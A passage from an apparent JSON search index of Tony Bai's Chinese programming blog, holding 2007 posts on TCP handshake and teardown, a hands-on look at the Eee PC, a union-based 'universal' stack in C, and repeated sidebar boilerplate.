cast\n}\n","permalink":"https://tonybai.com/2007/12/08/those-things-about-symbol-linkage/","summary":"\u003cp\u003e我们在编译自己开发的程序或者一些开源软件的时候，常常遇到类似如下的编译器错误信息：\u003cbr\u003e\n未定义 文件中的\u003cbr\u003e\n符号 在文件中\u003cbr\u003e\ni /var/tmp//ccU4sj6I.o\u003cbr\u003e\nfunc /var/tmp//ccU4sj6I.o\u003c/p\u003e\n\u003cp\u003eld: 致命的: 符号参照错误. 没有输出被写入a.out\u003cbr\u003e\ncollect2: ld returned 1 exit status\u003c/p\u003e","title":"'符号连接'那些事儿"},{"content":"我不是计算机科班出身。记得大学的时候旁听计算机系的网络课，当时计算机系使用教材是\u0026quot;计算机网络–自顶向下方法与Internet特色\u0026ldquo;的影印版，这本教材与众不同的一个地方就是作者JAMES F.KUROSE和KEITH W.ROSS采用了\u0026rsquo;自顶向下\u0026rsquo;的编排思路，先从应用层开始，最后讲到物理层。而且这本书在语言上形象生动，通俗易懂。只怪我当初没有一心一意听讲，到现在存在我的脑子中的基本概念居多，深刻理解甚少。以致于工作后遇到此类的问题，只能恶补。这不，在12月1日凌晨全国统一短信类服务接入代码的调整工作中，我就遇到了此类问题，不得不再次抱起W.Richard Stevens的\u0026rsquo;TCP详解卷一\u0026lsquo;啃了啃，回顾一下TCP协议那些事儿。\n做应用层网络程序开发的，手头上都有一把利器：抓包工具，更专业的名词就是协议分析工具，常用的且功能强大的协议分析工具有：TCPDUMP(Windows平台上的叫Windump)、Ethereal等。工作中常常会遇到因应用层程序在协议字段发送和接收解析上不一致而出现\u0026rsquo;纠纷\u0026rsquo;问题，这时我们一般采用的在TCP层用协议分析工具抓取该层原始数据包作为\u0026rsquo;对峙\u0026rsquo;的证据；还有的就是在客户端与服务器端链接问题上的一些现象也需要到TCP层去分析原因，这就需要对TCP层的基本工作原理有一个清晰的认识。\n首先我们要明确：TCP头部中设置的一系列域都是为了能达到分割、重传、查重、重组、流控、全双工的协议功能而设置的，这里比较重要的字段就是序列号和确认号。由于要达到重传、查重、重组、全双工这些目的，TCP层需要通过序列号和确认号来保证。序列号用来标识发送端传送数据包的顺序，并且指导接收端对多数据包进行顺序重组；发送端传送一个数据包后，它会把这个数据包放入重发队列中，同时启动计时器，如果收到了关于这个包的确认信息，便将此数据包从队列中删除；如果在计时器超时的时候仍然没有收到确认信息，则需要重新发送该数据包。\nTCP层以\u0026quot;三次握手\u0026quot;建立链接而\u0026quot;闻名于世\u0026rdquo;，三次握手的目的：建立链接，为后续的数据流传输奠基，因为TCP是双工的，因此在握手过程需告知彼此数据包发送的起始序列号。\nClient –\u0026gt; 置SYN标志 序列号 = J，确认号 = 0 —-\u0026gt; Server\nClient \u0026lt;– 置SYN标志 置ACK标志 序列号 = K, 确认号 = J + 1 \u0026lt;– Server\nClinet –\u0026gt; 置ACK标志 序列号 = J + 1，确认号 = K + 1 –\u0026gt; Server\n链接建立后，接下来Client端发送的数据包将从J + 1开始，Server端发送的数据包将从K + 1开始，这里要说明的是：建立链接时，Client端宣称自己的初始序列号是J，Server端宣称自己的初始序列号是K，但是建立连接后的数据包却各自中初始序列号+1开始，这是因为SYN请求本身需要占用一个序列号。\n在数据传输阶段，按照常理应用层数据的传输是这样的：(我们假定建立连接阶段Client端最后的确认包中序列号 = 55555, 确认号 = 22222)\nClient –\u0026gt; 置PSH标志，置ACK标志 序列号 = 55555, 确认号 = 22222，数据包长度 = 11 —\u0026gt; Server\nClient \u0026lt;– 置ACK标志，序列号 = 22222, 确认号 = 55566 (=55555 + 11)，数据包长度 = 0 \u0026lt;— Server\nClient \u0026lt;– 置PSH标志，置ACK标志 序列号 = 22223, 确认号 = 55566，数据包长度 = 22 \u0026lt;— Server\nClient –\u0026gt; 置ACK标志，序列号 = 55566, 确认号 = 22244(=22222+22)，数据包长度 = 0 —\u0026gt; Server\n注：PSH标志指示接收端应尽快将数据提交给应用层。从我协议分析的经历来看，在数据传输阶段，几乎所有数据包的发送都置了PSH位；而ACK标志位在数据传输阶段也是一直是置位的。\n但是实际我们在分析过程看到的却都是如下这样的：\nClient –\u0026gt; 置PSH标志，置ACK标志 序列号 = 55555, 确认号 = 22222，数据包长度 = 11 —\u0026gt; Server\nClient \u0026lt;– 置PSH标志，置ACK标志 序列号 = 22222, 确认号 = 55566 (=55555 + 11)，数据包长度 = 22 \u0026lt;— Server\nClient –\u0026gt; 置PSH标志，置ACK标志 序列号 = 55566, 确认号 = 22244 (=22222 + 22)，数据包长度 = 33 —\u0026gt; Server\nClient \u0026lt;– 置PSH标志，置ACK标志 序列号 = 22244, 确认号 = 55599 (=55566 + 33)，数据包长度 = 44 \u0026lt;— Server\n也就是说：数据接收端将上一个应答和自己待发送的应用层数据组合在一起发送了。TCP的传输原则是尽量减少小分组传输的数量，所以一般默认都开启\u0026quot;带时延的ACK\u0026quot;。一般实现中，时延在200ms。Nagle算法多用来实现\u0026quot;带时延的ACK\u0026quot;，它要求一个TCP连接上最多只能有一个未被确认的小分组。在该分组的确认到达之前不能发送其他小分组。也就是说：发送端在发送一个分组后，需等待这个分组的ACK确认后，才可以进行下一个分组的发送。这样一来网络的传输效率被大大降低了。对于大数据块的传输来说，这样很多时候是难以忍受的。另一种拥塞控制策略被引入，那就是TCP的滑动窗口协议，滑动窗口协议是分组发送和分组确认不再同步，发送端可以连续发送n个分组，接收端同样也可以用一个确认包来一起确认这n个分组，通常n = 2。各种OS的TCP协议栈在实现上都是综合了Nagle算法和滑动窗口协议的，TCP层对应用层数据分组大小进行多次判断(一般分组大小都是和MSS做比较的)，以在Nagle和滑动窗口协议之间抉择到底选择哪一种控制方式进行发送。\u0026quot;The Linux Network Architecture: Design and Implementation of Network Protocols in the Linux Kernel\u0026ldquo;一书介绍了Linux在TCP层上的设计和实现，当然最直观的还是去分析Linux源代码了。\n拆除TCP连接过程用一句话表述就是：你关你的发送通道，我关我的发送通道(因为TCP是全双工)。当一方关闭发送通道后，仍可接收另一方发送过来数据，这样的情况就成为\u0026quot;半关闭\u0026rdquo;。然而多数情况下，\u0026ldquo;半关闭\u0026quot;使用的很少，而且半关闭需要SOCKET AIP支持在SOCKET上的shutdown(而不是调用close)。\n正常的关闭流程是源于Fin报文的:\nClient –\u0026gt; Fin ACK –\u0026gt; Server\nClient \u0026lt;– ACK \u0026lt;– Server\nClient \u0026lt;– Fin ACK — Server\nClient –\u0026gt; ACK –\u0026gt; Server\n发送Fin分组的一端会先将发送缓冲中的报文按序发完之后，再发出Fin；所以说Fin又叫做：orderly release。\n异常的关闭流程是源于Rst报文的。一个典型的例子就是当客户端所要链接的服务器端的端口并没有程序在listen，这时服务器端的TCP层会直接发送一个Rst报文，告诉客户端重置连接。Rst报文是无需确认的。客户端在收到Rst后会通知应用层对方异常结束链接(需通过SOCKET API的设置才能得知对方是异常关闭)。\n","permalink":"https://tonybai.com/2007/12/06/review-tcp-protocol/","summary":"\u003cp\u003e我不是计算机科班出身。记得大学的时候旁听计算机系的网络课，当时计算机系使用教材是\u0026quot;\u003ca href=\"http://www.china-pub.com/computers/common/info.asp?id=23007\"\u003e计算机网络–自顶向下方法与Internet特色\u003c/a\u003e\u0026ldquo;的影印版，这本教材与众不同的一个地方就是作者\u003ca href=\"http://www-net.cs.umass.edu/personnel/kurose.html\"\u003eJAMES F.KUROSE\u003c/a\u003e和\u003ca href=\"http://cis.poly.edu/~ross/\"\u003eKEITH W.ROSS\u003c/a\u003e采用了\u0026rsquo;自顶向下\u0026rsquo;的编排思路，先从应用层开始，最后讲到物理层。而且这本书在语言上形象生动，通俗易懂。只怪我当初没有一心一意听讲，到现在存在我的脑子中的基本概念居多，深刻理解甚少。以致于工作后遇到此类的问题，只能恶补。这不，在12月1日凌晨全国统一短信类服务接入代码的调整工作中，我就遇到了此类问题，不得不再次抱起W.Richard Stevens的\u0026rsquo;\u003ca href=\"http://uic.rsu.ru/doc/inet/tcp_stevens/\"\u003eTCP详解卷一\u003c/a\u003e\u0026lsquo;啃了啃，回顾一下\u003ca href=\"http://www.tcpipguide.com/\"\u003eTCP协议\u003c/a\u003e那些事儿。\u003c/p\u003e","title":"回顾TCP协议那些事儿"},{"content":"热度颇高的Eee PC已经于11月24日在中国内地上市了，但直到今日我才在卖场看到了Eee PC的实机，这里就谈谈对Eee PC实机的第一印象。\n华硕在全国的国美卖场设置Eee PC的专柜，晚上去沈城的鹏润电器看电砂锅，突然想起Eee PC，于是走向笔记本卖区。在笔记本卖区一眼就看到Eee PC大大的广告，在展台上明亮的灯光下，一黑一白两台Eee PC静静的放在那里。由于晚上人较少，所以比较容易的近距离观察和试用Eee PC。\n如果你看到Eee PC后第一感觉一定和我一样，那就是它真的很小。我用手掌\u0026rsquo;精确\u0026rsquo;的量了一下，长恰好一扎(我的手哦)，宽约半扎多些。两台机器安装的都是linux操作系统，其中白色的机器不知为什么界面是蓝屏，并有错误日志输出。黑色机器则一切正常。我试着用触控板操作并运行了记事本、openoffice的文字处理、幻灯片制作等程序，虽然Eee PC的CPU配置不高，但是可能是由于采用的是闪存式的固定式磁盘，程序的启动和运行都还很是流畅。Eee PC小，其屏幕和键盘自然也大不到哪去，所以视力不好或者手指过大的人在买这款机器时可要考虑清楚了。\n展示的Eee PC没有安装电池，在不带电池的情况下，Eee PC相当的轻。我想即使是加上电池，也重不到哪去。像这么小这么轻的PC，女士们完全可以将之放在自己的手袋中了。从外表来看，Eee PC的做工也很不错，其光耀的外表估计会让很多女士为之\u0026quot;倾心\u0026quot;，这不我GF就叫嚷着要\u0026rsquo;预订\u0026rsquo;那台白色版的Eee PC了。\nEee PC的国美(鹏润)价是2999，还是那句话：价格偏高。\n","permalink":"https://tonybai.com/2007/12/02/my-experience-of-eee-pc/","summary":"\u003cp\u003e热度颇高的\u003ca href=\"http://tonybai.com/2007/11/24/eee-pc-is-available-on-the-market/\"\u003eEee PC\u003c/a\u003e已经于11月24日在中国内地上市了，但直到今日我才在卖场看到了Eee PC的实机，这里就谈谈对Eee PC实机的第一印象。\u003c/p\u003e\n\u003cp\u003e华硕在全国的国美卖场设置Eee PC的专柜，晚上去沈城的鹏润电器看电砂锅，突然想起Eee PC，于是走向笔记本卖区。在笔记本卖区一眼就看到Eee PC大大的广告，在展台上明亮的灯光下，一黑一白两台Eee PC静静的放在那里。由于晚上人较少，所以比较容易的近距离观察和试用Eee PC。\u003c/p\u003e","title":"亲历Eee PC实机"},{"content":"在网上搜索\u0026quot;万能\u0026quot;二字的英文翻译，结果却无意中看到有人提到了如何设计\u0026quot;万能栈\u0026quot;。栈(stack)是比较基础(fundamental)的数据结构，实现起来一般都比较容易。但一般的栈(stack)的实现都是局限于某种特定类型的，比如一个存储32-bit整型的栈。如果对于同一份栈实现，要求可以存储多种数据类型的话，那就需要仔细想想了。而这样的栈实现也就被戏称\u0026quot;万能\u0026quot;栈。\n这里对\u0026quot;万能\u0026quot;栈再做一个分类：同构数据\u0026quot;万能\u0026quot;栈和异构数据\u0026quot;万能\u0026quot;栈。简单解释一下：同构数据\u0026quot;万能\u0026quot;栈指得是这个栈可以存储多种类型数据，但是每次使用该栈时只使用其中一种类型数据；异构数据\u0026quot;万能\u0026quot;栈则说的是这个栈可以存储多种类型数据，而且使用时也是多种数据混合处理。\n对于同构的\u0026quot;万能\u0026quot;栈，像C++、Java这样有模板支持的语言来说，是很好实现的。C++的标准库中就携带了一个通用的stack类，使用起来也很是方便：\nstack s;\nfor( int i=0; i \u0026lt; 10; i++ )\ns.push(i);\n但是对于使用C语言的人来说，栈是需要自己实现的。那么如何实现一个同构数据\u0026quot;万能\u0026quot;栈呢？我的想法是借用union的语法功能：\nunion general_unit {\nvoid *vp;\nvoid (*fp)(void);\nchar *cp;\nlong l;\ndouble d;\nlong long ll;\n};\nstruct stack_item_t {\nunion general_unit item;\n};\n这样我在准备我的item的时候，就可以按需选取union中提供的相应类型的member。比如：\nstruct stack_item_t item;\nitem.item.l = 5;\npush(\u0026amp;item);\n这里其实也是有些别扭的，别扭在于谁来管理数据存储的问题。对于char, int, long, float, doule这样的语言本身提供的基本数据类型，大可存储在stack中。但是对于其他非基本数据类型的数据，我们只能将其指针放到栈中了，这时你就要保证push到栈中的地址在栈的活动期是有效的，像下面这样的肯定会出错：\ntypedef struct Foo {\n//…\n} Foo;\nvoid foo(void) {\nFoo foo;\n//init…\nstruct stack_item_t item;\nitem.item.vp = (void*)\u0026amp;foo;\npush(\u0026amp;item);\n}\nint main(void) {\nstruct stack_item_t item;\nitem = pop();\nFoo *pfoo = (Foo*)item.vp;\npfoo-\u0026gt;xxx; //error; }\n如果上面的例子中存储的是函数指针的话，那么问题就不大了，因为函数地址在程序构建之后其地址就是全局可访问且始终不变的。\n有了上面的基础，异构的\u0026quot;万能\u0026quot;栈实现也就容易了。异构栈要求：pop时候我也要知道pop出来的item的类型，那么只用union显然不能完成这个任务了，我们需要有一个字段来标识一下存储的类型是什么或者说标识使用了general_unit中的哪个成员，便于上层使用，方法如下：\nunion general_unit {\nvoid *vp;\nvoid (*fp)(void);\nchar *cp;\nlong l;\ndouble d;\nlong long ll;\n};\nstruct general_item {\nunion general_unit unit;\nint ut_type; //用于标识栈中数据的类型\n};\nstruct stack_item_t {\nstruct general_item item;\n};\n这样在pop时我们需要如是做：\nitem = pop();\nswitch(item.item.ut_type) {\ncase xx:\n//…\ncase yy:\n//…\n//…\n}\n看起来还是比较麻烦的。\n以上只是\u0026quot;万能\u0026quot;栈的一种想法而已，C语言博大精深，有很多诡秘的技巧是我所不知的，也许很多人还有更好的方法。\n为什么要给万能二字加上引号呢？其实就是说明这个\u0026quot;万能\u0026quot;只是一个相对的概念，这个相对的\u0026quot;万能\u0026quot;带来的是数据存储管理的不一致以及接口的不易用。在平时使用时尽量避免使用这种所谓的\u0026quot;万能\u0026quot;栈，一般来说我们都会使用比较单一类型的栈实现，这样的栈简单、高效、易用且不易出错。\n","permalink":"https://tonybai.com/2007/11/27/also-talk-about-univerisal-stack/","summary":"\u003cp\u003e在网上搜索\u0026quot;万能\u0026quot;二字的英文翻译，结果却无意中看到有人提到了如何设计\u0026quot;万能栈\u0026quot;。栈(stack)是比较基础(fundamental)的数据结构，实现起来一般都比较容易。但一般的栈(stack)的实现都是局限于某种特定类型的，比如一个存储32-bit整型的栈。如果对于同一份栈实现，要求可以存储多种数据类型的话，那就需要仔细想想了。而这样的栈实现也就被戏称\u0026quot;万能\u0026quot;栈。\u003c/p\u003e","title":"也谈'万能'栈"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/11/26/the-picture-of-moon-sent-back-from-chang-e-1/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"'嫦娥'发回月球照片"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 